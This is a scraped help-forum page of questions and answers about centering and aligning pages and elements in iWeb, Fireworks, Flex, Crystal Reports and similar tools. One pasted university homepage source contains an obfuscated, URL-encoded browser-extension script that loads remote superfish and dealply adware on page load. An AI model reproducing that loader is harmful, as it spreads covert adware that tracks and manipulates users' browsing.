Center-align iWeb pages?
Is there a code to use to center align an iWeb page, as in vertically, so that no matter what screen size/resolution you have, the page will stay in the middle of the browser, instead of at the top?
All objects on an iWeb page are fixed and do not move when a browser window is resized. The page itself is centered horizontally.
iWeb does not support vertically centered pages. And from other forums I gather it is not easily done with custom code.
But it can be done. Here's a custom page that centers and scales in all directions :
http://www.wyodor.net/Centered/
Study the code.
To make it work in iWeb you need a JavaScript and knowledge of how iWeb creates its pages.
Perhaps this page guides you in the direction you want. If you can resize the objects, you can resize the page vertically :
http://www.wyodor.net/Demo/Fancy/DynamicText.html
Similar Messages
-
How to center align preview page
When I preview my webpage (which I am creating in fireworks) in the browser it is to the left of the page, How do I center align it?? Thank you in advance for your help
You shouldn't be creating your total web page in Fireworks, only the graphics :-)
You should slice up the images you need and then export those and use them in your HTML or via the stylesheet as background images. A web page that is full of images will only slow down the loading plus not be indexed by search engines...
To then center the page, you need to use CSS to to align the page in the center of the browser window regardless of window size. This again, is done when you move over to the HTML editor, not in FWs.
A good tutorial that may help the transition from taking a FWs comp to HTML
http://www.adobe.com/devnet/dreamweaver/articles/dw_fw_css_pt1.html
Nadia
Adobe® Community Expert : Dreamweaver
Unique CSS Templates |Tutorials |SEO Articles
http://www.DreamweaverResources.com
Book: Ultimate CSS Reference
http://www.sitepoint.com/launch/005dfd4/3/133
http://twitter.com/nadiap -
Hi,
Need some help center aligning web page content when it maximizes or is resized. I have grids, panels, etc and want these to center on page.
Is there a property of the page/body/head/form/div that can be set for this or is javascript required to achieve this.
Any help mcuh appreciated.
SNIHi,
I tried what the thread did and still cannot my layout panel to center align.
This is my jsp line:
<ui:panelLayout binding="#{Login.pnlLogin}" id="pnlLogin" style="height: 306px; left: 382px; top: 216px; text-align: left; vertical-align: middle; width: 100%; -rave-layout: grid; horizontal-align: left;"> -
UI element in Webdynpro to align the content area at the center of the page
Hi Experts,
I am looking for a UI element in webdynpro which can keep the entire content area aligned to the center of the page as well as can provide the borders along the content area.
Please suggest if there exists any such UI element in webdynpro.
P.S. We are using NWDS Version: 7.01.00
Thanks in advance for the replies.
Regards,
AnuragHi Anurag,
What you can try is to put all of your UI elements in Group and then do the alignment. Set the visibility property of the group header to invisible. This will give you a border.
Hope this solves your problem.
Regards
Abhinav Sharma -
Picture Center alignment in a page
Hi,
Can we do center alignment of an image in crystal reports?
The scenario is like this.
1. Created a OLE object in details section.
2. Defined the detail section as "Format with multiple columns.
3. OLE object grpahic location is defined as the file name and location comes from database.
Here, in database, I defined the pciture size as Small, Medium and large. Based on that, we are adjusting the spaces in the report.
For example, if there are 4 small images, I am displaying those images in a single page. As I defined the details section with "Format with multple columns", I can make 4 small images display in one page.
If there are medium images, I am displaying 2 images in a single page.
If there are large imates, only one I am displaying in a page.
This setting is done based on the image size given in database.
Here the issue comes, as even though the image size can fit into one portion of page, the image size is defined either as medium or large. And the image is by default left aligned.
Here I would like to center align the object, so that, the page won't look odd.
Is there any way we can do this?
Thank you,
Regards,
GowthamHi,
The page can have something called regions. You can place portlets in these regions. If you are on 309 you add regions by editing the page. if you are on 902 then you can do it by editing the layout of the page.
Hope that helps.
Thanks,
Sharmila -
Creating a frame within a iweb page
I would like to create a frame within one of my iweb pages so that I can maintain the navigation menu while incorporating expose photo slide (or any other external page to be displayed within my page).
Please correct me if I am wrong but I don't think this is possible using iweb and must edit the source code.
Does anyone know if there are any templates out there I could just copy and past to get this done? i am simply looking to create a frame pretty much taking up the entire center of the existing page while leaving the navigation menu in tacked. Do appreciate the help!
iMac & Macbook Mac OS X (10.4.6)
iMac Mac OS X (10.4.6)You might want to take a look at this articel from Michael Wong:
http://www.rowan-cottage.co.uk/Site/Integrate%20Guestmap.html
It covers inserting a GuestMap using frames.
Will -
How to put a tab space in a center aligned paragraph and have it remained centered?
I am trying to put a tab spacing within a paragraph that is center aligned but when I press the tab button it pushes the paragraph to the left. How do I solve the problem? I have several lines I need to do this for so adjusting it one but one is a bit tedious.
I don't use Captchas because they are not web friendly. Humans have a hard time reading them which often leads to form submission failures and frustration. I much prefer the Honeypot (hidden input field) method. It traps spam bots who cannot resist filling in fields because they don't use CSS or JavaScript. If the hidden field contains any characters, your form processing script can be set-up to flag that as spam and abort the submission. Humans never see the hidden field, so it works seamlessly behind the scenes. There's no limit on how many hidden form fields you can have on a page.
Nancy O. -
Is it possible to widen the page view when drafting iWeb pages?
I'm drafting web pages via iWeb and figured out how to make the page content wider (in page layout/content width), but would like to be able to have a view of the entire page while I'm rearranging the text and images on the webpage. I cannot figure out how to be able to view the page without having to scroll left and right. Is it possible to see what the finished product looks like in its entirety before and/or after publishing to iWeb???
iLyzzard wrote:
Seems like my iMac with a 21.5 monitor should do the job. The webpages look great online, but how can I widen my draft-view so I don't have to keep guessing as to alignment of my text and images? Please advise.
I'm not really understanding your question since the way things look in iWeb is pretty much the way they look online.
In what way do your iWeb pages not look like what you see online?
This is really a feature in iWeb (and one which costs iWeb excessive code if anything): to be able to provide a WYSIWYG canvas on which to build. -
Can no longer update one of my iWeb pages (all others are working properly)
I have an iWebsite with several pages. One of these pages is no longer working correctly. The page that is causing problems contains a series of text boxes and hyperlinks (which allow people to download PDFs). I can no longer update the vast majority of this page, nor can I see where the different text boxes start or begin. (I am currently only able to change the title, not the body.)
When I go online to look at the actual published site, I am able to download all of the desired PDFs, however I cannot highlight or copy any of the text written on the page (this is not the case for the other pages of the website).
I have updated this page several times over the last few years and have never run into this problem. Does anyone have any suggestions as to what might be wrong and/or how I might remedy the situation?
Thank you in advance!!! Your advice is much appreciated!+You mean you can't see the text or can't see the text box sides and drag points?+
+Do a Select All and see what you see.+
When I select all I am able to see the text box that houses the body of the page.
+What happens if you were to click in the center of the page and hit the delete key (you can always do an Undo command)?+
Nothing happens. I can only delete the entire page (using the select all approach).
+What happens if you click on the center of the page and drag to one side or another?+
Nothing happens when I do this. I can move this main text box by moving each side individually.
+I can see the text in the page's html file and it is an image file: http://web.mac.com/naomieisenberger/san/NaomiEisenberger_SAN_Papers_files/shapeimage1.png. If you go to the page it's a very fine, 1 pixel, image at the very top of the page. You'll see the cursor change to a magnifying glass. At that time click and drag to the desktop. It won't look like you're dragging anything till you get to the desktop.+
Yes, this is the problem. This space is acting as if (or rather has been) converted to a graphic. Each reference listed on that page has been entered separately over time. It seems like the last time this section was updated it was saved as an image/graphic. I am not even sure how this would have happened or how to undo this issue. Do you know or have any further suggestions?
Is there a way to view the html code on iWeb. . . to just work in code?
+So you have to somehow figure out how to get it back to plain text. Do you have iWeb's preferences set to display the text image indicator?+
Yes, there is a small yellow symbol.
+You may have to create a new page to replace this one.+
Thank you so much for all of the great advice! -
Unable to center align text in menu tabs
following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
<!DOCTYPE html>
<!-- saved from url=(0022)http://www.arts.ac.uk/ -->
<html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta charset="utf-8">
<title>Peace University USA - America's Leading Faithbased School</title> <!-- Use the .htaccess and remove these lines to avoid edge case issues.
More info: h5bp.com/i/378 -->
<!-- Use the .htaccess and remove these lines to avoid edge case issues.
More info: h5bp.com/i/378 -->
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- navigation object : UAL: metaElement -->
<meta charset="utf-8">
<!-- Use the .htaccess and remove these lines to avoid edge case issues.
More info: h5bp.com/i/378 -->
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Peace University USA - America's Leading Faithbased School</title> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Common Metadata Tags -->
<meta name="robots" content="all"> <!-- Le HTML5 shim, for IE6-8 Support of HTML elements -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<!--[if !IE 6]><!-->
<!-- Main style css -->
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
<!-- Responsive style-->
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
<!-- Application style-->
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
<!--<![endif]-->
<!--[if IE 7]>
<link rel="stylesheet" type="text/css" media="screen" href="/media/artsacukstyleassets/component-library/ie7.css" />
<![endif]-->
<!--[if lte IE 6]>
<link rel="stylesheet" href="http://universal-ie6-css.googlecode.com/files/ie6.0.3.css" type="text/css" />
<![endif]-->
<!-- The fav icons -->
<link rel="shortcut icon" href="./images/favicon.ico">
<!-- Load modernizr -->
<script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
<script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
<style type="text/css">
body {
margin-left: 200px;
overflow:hidden
.n {
text-align: center;
</style>
</head>
<!-- Apply a style to the body class -->
<body class="ual">
<!-- navigation object : UAL: headerElement -->
<nav id="top-navigation-column-1" class="span2" role="navigation" >
<!-- navigation object : Top Navigation Column 1 --> </nav>
<a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
<nav id="top-navigation-column-2" class="span3" role="navigation">
<!-- navigation object : Top Navigation Column 2 -->
<ul id="nav-sub" class="nav">
</nav>
<div id="top-navigation-column-3" class="span4">
<!-- navigation object : Search_box_Include --><!-- Add Search form -->
<div class="search-wrapper"></div>
<!-- navigation object : Wayfinder_Include -->
</div>
</div>
</header><!-- End of header -->
</div><!-- End of row --> <!-- Tabbed content -->
<div class="tab-index">
<div class="ual-tab">
<figure> <a href="http://www.faithinpeace.org">
<img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px; "> </a><!-- Main UAL Image -->
<figcaption></figcaption>
</figure>
<section class="ual-tab-scroll-text">
<h2>
</h2>
<p class="teaser"></p>
</section>
</div>
<nav class="ual-tabbed-content">
<ul class="nav-bar">
<li id="camberwell" class="has-flyout">
<a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
</li>
<li id="csm" class="has-flyout">
<a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
</li>
<li id="chelsea" class="has-flyout">
<a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
</li>
<li id="lcc" class="has-flyout">
<a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
</li>
<li id="lcf" class="has-flyout">
<a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
</li>
<li id="wimbledon" class="has-flyout">
<a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
</li>
</ul>
<div class="flyout camberwell" data-role="camberwell" style="display: none; ">
<a href="./index" title="Peace University USA">
<img src="./images/home.png" alt="" style="width : 940px; height : 400px; ">
</a>
</div>
<div class="flyout csm" data-role="csm" style="display: none; ">
<a href="./admissions.htm" title="We have a place for everyone">
<img src="./images/admissions.png" style="width : 940px; height : 400px; ">
</a>
</div>
<div class="flyout chelsea" data-role="chelsea" style="display: none; ">
<a title="Academics" href="./academics.htm">
<img src="./images/academics.png" alt="" style="width : 940px; height : 400px; ">
</a>
</div>
<div class="flyout lcc" data-role="lcc" style="display: none; ">
<a title="Joining hands to strengthen resources" href="./collaborate.htm">
<img src="./images/collaborate.png" style="width : 940px; height : 400px; ">
</a>
</div>
<div class="flyout lcf" data-role="lcf" style="display: none; ">
<a href="digital.edu/lms/" title="Online Education @Peace">
<img src="./images/vu.png" style="width : 940px; height : 400px; ">
</a>
</div>
<div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
<a href="./contact.htm" title="Contact Us">
<img src="./images/contact.png" alt="" style="width : 940px; height : 400px; ">
</a>
</div>
</nav>
</div><div class="four-box-teasers row">
<ul class="slide-teasers">
<li class="has-slide span3">
<h3>Media Arts and Design</h3>
<a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px; "></a>
<div class="slide-up slide-up-active" style="display: none; ">
<p>
<a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
</p>
</div>
</li>
<li class="has-slide span3">
<h3>Youth Engagement Platform</h3>
<a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px; "></a>
<div class="slide-up slide-up-active" style="display: none; ">
<p>
<a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
</p>
</div>
</li>
<li class="has-slide span3">
<h3>Courses</h3>
<img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px; ">
<div class="slide-up slide-up-active" style="display: none; ">
<p>
<a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
</p>
</div>
</li>
<li class="has-slide span3">
<h3>English Training Programs</h3>
<img src="images/etp.png" style="width : 220px; height : 110px; ">
<div class="slide-up slide-up-active" style="display: none; ">
<p>
<a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
</p>
</div>
</li>
</ul>
</div><!-- navigation object : UAL: footerElement --> <!-- Footer -->
<footer id="footer">
<div class="row">
<section class="footer-links span12">
<ul class="footer-links span6">
<!-- navigation object : UAL: footerLinks -->
<li class="facebook">
<a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>
</ul>
<!-- Add PHP date function -->
<ul class="footer-links span6">
<li><a href="http://eepurl.com/nj22f">
Sign up for latest News |</a></li>
<li><a href="./contact.htm">
Contact Us </a></li></ul>
</section>
</div>
</footer>
</div> <!-- Javascript at the bottom for faster loading -->
<script src="./index_files/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>
<!-- Application Javascript-->
<script type="text/javascript" src="./index_files/script.js"></script>
<!-- Asynchronous Google Analytics snippet. Change UA-XXXXX-X to be your site's ID. -->
<!-- mathiasbynens.be/notes/async-analytics-snippet -->
<script>
var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
s.parentNode.insertBefore(g,s)}(document,'script'));
</script>
<div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{"imageCount":0,"ip":"182.177.144.206"}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>Have you tried adding the following css selector to your css file.
.nav-bar a {
text-align: center;
or insert it in the <style> tag you have on the page:
<style type="text/css">
body {
margin-left: 200px;
.n {
text-align: center;
.nav-bar a {
text-align: center;
</style> -
Defining a Center Aligned Table in a WebI Report ?
I sure hope I'm missing something, but one of our developers has been struggling with this for days and it seems like such an obvious report building exercise. I looked myself and couldn't see how to do it either... not even using something crafty.
The basic problem is that we have some content that will change every time the report is run, so we put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on. If we could just center align the resulting table we would be fine, but the only way to center align it is to select another item and then use the center align feature. However, that is a one-time operation that simply calculates the offset given the current data. If the report is run again with different prompts (for example) the table size may be different, but the center offset is not recalculated because there is no way to mark the table for center alignment.
So we need the table to be center aligned (either to the page, report header, or another element would work for us) because it will have multiple (optional cells). Also, FYI, we can't just put it all in one forumla and let the cell content be centered... because we're actually embedding multiple hyperlinks in those other cells... in a borderless table... to get a centered block effect on the results.
Any suggestions? Only thing we've come up with is to insert padding cells that we set to Fixedsys fond and then calculate a space Fill() on based on the other results... but that's really messy and seems like overkill for something that's normally a "bread and butter" report building feature.Hi Ray,
As I understand you want to Centre align the table , but when you select the table centre align feature is disabled and you can only align the text in the table.
You can use Relative Positioning Feature to align the Table in relation to the Bottom, top, Left and right edge of the report and other block. This feature allows user to fix the position of the table even if data in the table changes and auto-adjust the table position when block data or another block data changes.
You can manually drag the table to the centre of the report; set the alignment of the text to the centre, when your data changes the, WEBI wonu2019t change the position of the table nor it changes the text alignment.
Please paste the report data here so that I can understand how you want to display the table data and your statement u201Cwe put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on.
Do you have any other blocks of data in your reporting along with the table data that you want to centre align?
I Hope this Helpsu2026
Thanksu2026.
Pratik -
Place a reports region on center of the page
Hello,
Can anyone please help me out with this issue. Like, how can I place a region on the center of the page. I have only one reports region and I want to position this region on center of the page.
thanks,
OrtonCenter as in??
Center top to bottom, left to right or literally center of page?
Possible threads to refer to:
to Center interactive Report
Aligning a report to center of page
Re: center region in firefox browser?
Thank you,
Tony Miller
Webster, TX
While it is true that technology waits for no man; stupidity will always stop to take on new passengers. -
How to center align Alert.show() in flex
Hello All,
I have a tall Flex application that uses Alert.show( ) to display error/warning messages. This created problems when the error messages were centered on the screen, but not visible when the screen was at an extreme scroll position (top or bottom). is there any way that i can display the Alert in the center of the user's viewable page. I've tried the following, but didn't work.
var errorMsg:Alert = Alert.show("Error message"); PopUpManager.centerPopUp(errorMsg);
Thanks in advance.Thanks for your help, yes by using some javascript calls i'm now able center align the Alert.
Here is the solutions for my problem.
var viewPoint:Number = ExternalInterface.call("eval", "window.pageYOffset"); var browserHeight:Number = ExternalInterface.call("eval", "window.innerHeight"); //the following calculation finds the center y coordinate in user's viewable page. var viewableY : Number = ((browserHeight/2)+viewPoint-50); var alert : Alert = Alert.show("Error Msg"); PopUpManager.centerPopUp(alert); alert.move(400,viewableY);
I hope this helps someone... -
I have noticed in 11.5 that the option to align a group of objects by the page margins while keeping the objects relative to each other is gone. Please tell me this option is just hidden somewhere and is still available!
BlanchardSorry for the delay in my reply. What I am seeing is a loss in functionality from 11.3 to 11.5 (we do not use 11.4 in our office so can't say how it works) If I select multiple objects on a Section and want to align that group by the page and keep the relative spacing between the objects, I can't.
For example, I have a set of three objects that are not the same size or evening aligned by a side or center - but they are where I need them in relation to each other:
.....Policy Number:......................Effective Date:.......Expiration Date:
..........XXXXXXXXXXXXXXX................MM/DD/YYYY........MM/DD/YYYY
If I resize the section these objects are on, or change the margins, I will want to realign these objects as a group to a new position. In 11.3 and earlier I could select all objects and do an Align By Page. All the objects would move to the margin in question but stay in relative position to each other. Now, in 11.5 I do not have an Align by Page option, only a Center on Page option. This option will move off of the objects to the new position and change their relative positions to each other. For example, if I chose Center in Page --> Vertical then the two lines become one line with the objects on top of each other.
I realized this lack of previous functionality when I found that 11.5 Selection Area for Section resizes the area selected and repositions all of the objects into the newly sized section (see previous post from me on this forum). When I resized the section back to the correct size, the objects were in the wrong positions. I have not been able to determine a way to move all of the objects quickly and as a group because I can only align by a single master object of center every object within the page. I can't align to page left, right, top or bottom. I think these features should be brought back, especially given the Select Area for Section issue in 11.5. -
I want to display header information of My ALV Report center Aligned.
Hi all,
I want to display header information of My ALV Report center Aligned. How can I do it..Also I want to show two different Layout display of ALV report according to the Radio Button Present in the selection screen.. Pls help me out in this.Hi,
call function 'REUSE_ALV_GRID_DISPLAY'
exporting
i_callback_program = gd_repid
i_callback_top_of_page = 'TOP-OF-PAGE' "see FORM
Form top-of-page.
*ALV Header declarations
data: t_header type slis_t_listheader,
wa_header type slis_listheader,
t_line like wa_header-info,
ld_lines type i,
ld_linesc(10) type c.
Title
wa_header-typ = 'H'.
wa_header-info = ' EKKO Table Report '. Leave Space such that it comes to Center
append wa_header to t_header.
clear wa_header.
Date
wa_header-typ = 'S'.
wa_header-key = 'Date: '.
CONCATENATE sy-datum+6(2) '.'
sy-datum+4(2) '.'
sy-datum(4) INTO wa_header-info. "todays date
append wa_header to t_header.
clear: wa_header.
Total No. of Records Selected
describe table it_ekko lines ld_lines.
ld_linesc = ld_lines.
concatenate 'Total No. of Records Selected: ' ld_linesc
into t_line separated by space.
wa_header-typ = 'A'.
wa_header-info = t_line.
append wa_header to t_header.
clear: wa_header, t_line.
call function 'REUSE_ALV_COMMENTARY_WRITE'
exporting
it_list_commentary = t_header.
i_logo = 'Z_LOGO'.
endform.
Maybe you are looking for
-
File-XI-RFC, archiving file only when system ack ok. Is it possible?
Hi ! We have a File-XI-RFC scenario. We need the file adapter to archive the input file ONLY if the message was delivered ok to the RFC. Should this work, using a BPM with this steps ???? 1) Receive (file message type) 2) Block 2a) Send (ASYNC to the
-
Can't get pictures from my Canon 20D
Hi, I've tried to connect my digital SLR camera (Canon 20D) to the iPad via the USB Camera Connection Kit, but i've got the message "the device you are trying to use is not compatible". Is this true? I mean, cannot transfer pictures from this camera
-
Got an email the address says from iTunes secure
The subject line says, "Been temporarily freeze your account to protect it please reactivate it". The body of the email just starts off Hello. It has a Verification link but I'm scared to click on it. It says that if I don't respond within 24 hours m
-
HtmlText issue with special character
Hi, I have input text : "hai <b> how are </b> you? Guess my <i>age</i>. clue age between > 25 and < 29.<b> got it</b>?" I put every thing in html text. I am able to see text only till "....> 25 and". Not able to see "< 29.<b> got it</b>". When i remo
-
Single singon for the Discoverer+Standard Report
Hi We have build discoverer report and standard report in our implementation I like to know is there any possibility to make it as a single sign on so that the user will be able to view all the reports(discoverer+standard) when he logs into the appli